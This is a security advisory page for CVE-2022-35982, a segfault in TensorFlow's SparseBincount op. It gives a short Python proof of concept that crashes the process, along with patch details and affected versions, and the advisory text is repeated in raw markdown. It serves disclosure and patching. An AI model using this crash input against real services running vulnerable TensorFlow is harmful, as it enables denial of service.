Advisoriesby IbisTensorFlow vulnerable to segfault in `SparseBincount`
Impact
If SparseBincount is given inputs for indices, values, and dense_shape that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
binary_output = True
indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)
dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)
`
Patches
We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366) dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-20
- Also known as
- BIT-tensorflow-2022-35982, CVE-2022-35982, PYSEC-2026-3093, PYSEC-2026-3270, PYSEC-2026-947
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